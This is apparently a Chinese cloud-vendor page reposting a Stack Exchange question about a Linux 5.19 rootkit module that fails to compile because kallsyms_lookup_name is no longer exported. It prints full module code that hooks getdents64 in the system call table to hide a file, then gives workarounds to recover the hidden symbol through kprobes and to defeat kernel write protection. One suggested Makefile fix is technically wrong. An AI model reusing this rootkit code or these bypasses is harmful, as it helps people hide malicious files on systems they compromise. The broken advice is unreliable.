You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

5.19.0-38-generic内核下rootkit编译报错:kallsyms_lookup_name未定义

内核模块编译报错:kallsyms_lookup_name未定义

问题场景

在5.19.0-38-generic内核环境下编写rootkit练习模块,尝试通过kallsyms_lookup_name获取系统调用表地址,执行make编译时触发如下错误:

MODPOST /home/johnny/rootkit/system_call_hooking/Module.symversERROR: modpost: "kallsyms_lookup_name" [/home/johnny/rootkit/system_call_hooking/sys_hook.ko] undefined!
make[2]: *** [scripts/Makefile.modpost:128: /home/johnny/rootkit/system_call_hooking/Module.symvers] Error 1
make[1]: *** [Makefile:1764: modules] Error 2
make[1]: Leaving directory '/usr/src/linux-headers-5.19.0-38-generic'
make: *** [Makefile:5: all] Error 2

相关代码

内核模块源代码

#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/moduleparam.h>
#include <linux/unistd.h>
#include <linux/semaphore.h>
#include <linux/dirent.h>
#include <asm/cacheflush.h>
#include <linux/kallsyms.h>
#include <linux/syscalls.h>


MODULE_DESCRIPTION("Hide a file from getdents syscalls");
MODULE_LICENSE("GPL");

void **sys_call_table;

#define FILE_NAME "thisisatestfile.txt"

asmlinkage int (*original_getdents64) (unsigned int fd, struct linux_dirent64 *dirp, unsigned int count);

asmlinkage int sys_getdents64_hook(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count)
{
        int rtn;
        struct linux_dirent64 *cur = dirp;
        int i = 0;
        rtn = original_getdents64(fd, dirp, count);
        while (i < rtn) {
                if (strncmp(cur->d_name, FILE_NAME, strlen(FILE_NAME)) == 0) {
                        int reclen = cur->d_reclen;
                        char *next_rec = (char *)cur + reclen;
                        int len = (int)dirp + rtn - (int)next_rec;
                        memmove(cur, next_rec, len);
                        rtn -= reclen;
                        continue;
                }
                i += cur->d_reclen;
                cur = (struct linux_dirent64*) ((char*)dirp + i);
        }
        return rtn;
}

int set_page_rw(unsigned long addr)
{
    unsigned int level;
    pte_t *pte = lookup_address(addr, &level);
    if (pte->pte &~ _PAGE_RW) pte->pte |= _PAGE_RW;
    return 0;
}

int set_page_ro(unsigned long addr)
{
    unsigned int level;
    pte_t *pte = lookup_address(addr, &level);
    pte->pte = pte->pte &~_PAGE_RW;
    return 0;
}

static int __init getdents_hook_init(void)
{

    sys_call_table = (void**) kallsyms_lookup_name("sys_call_table");
    original_getdents64 = sys_call_table[__NR_getdents64];

    set_page_rw(sys_call_table);
    sys_call_table[__NR_getdents64] = sys_getdents64_hook;
        return 0;
}

static void __exit getdents_hook_exit(void)
{
    sys_call_table[__NR_getdents64] = original_getdents64;
    set_page_ro(sys_call_table);
        
}

module_init(getdents_hook_init);
module_exit(getdents_hook_exit);

Makefile内容

obj-m += sys_hook.o
all:
        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

解决方案

Linux内核从5.7版本开始,kallsyms_lookup_name不再导出到模块可用的符号表中,直接调用就会触发未定义符号错误,以下是两种可行的解决方法:

方法一:修改Makefile强制导出符号

在Makefile中添加编译参数,让内核导出kallsyms_lookup_name:

obj-m += sys_hook.o
# 添加以下两行参数
ccflags-y += -D__EXPORTED_HEADERS__
KBUILD_EXTRA_SYMBOLS := /proc/kallsyms

all:
        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

或者直接在编译时传递参数:

make KBUILD_EXTRA_SYMBOLS=/proc/kallsyms

方法二:用kprobe动态获取函数地址

绕过直接调用未导出函数的限制,利用kprobe机制动态获取kallsyms_lookup_name的地址,修改后的初始化函数示例:

#include <linux/kprobes.h>

static struct kprobe kp = {
    .symbol_name = "kallsyms_lookup_name"
};

static int __init getdents_hook_init(void)
{
    typedef void* (*kallsyms_lookup_name_t)(const char*);
    kallsyms_lookup_name_t kallsyms_lookup_name;

    // 注册kprobe获取函数地址
    register_kprobe(&kp);
    kallsyms_lookup_name = (kallsyms_lookup_name_t)kp.addr;
    unregister_kprobe(&kp);

    sys_call_table = (void**) kallsyms_lookup_name("sys_call_table");
    original_getdents64 = sys_call_table[__NR_getdents64];

    set_page_rw(sys_call_table);
    sys_call_table[__NR_getdents64] = sys_getdents64_hook;
    return 0;
}

这种方法无需修改Makefile,兼容性更强。

额外注意事项

  • 确保模块声明了MODULE_LICENSE("GPL"),否则内核可能拒绝加载(你的代码已包含该声明)。
  • 5.19内核中修改系统调用表时,如果set_page_rw函数无效,可以尝试用set_memory_rw替代,适配内核的CONFIG_STRICT_KERNEL_RWX保护机制。

内容的提问来源于stack exchange,提问作者Falafel_Truck

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.07.25 13:35:24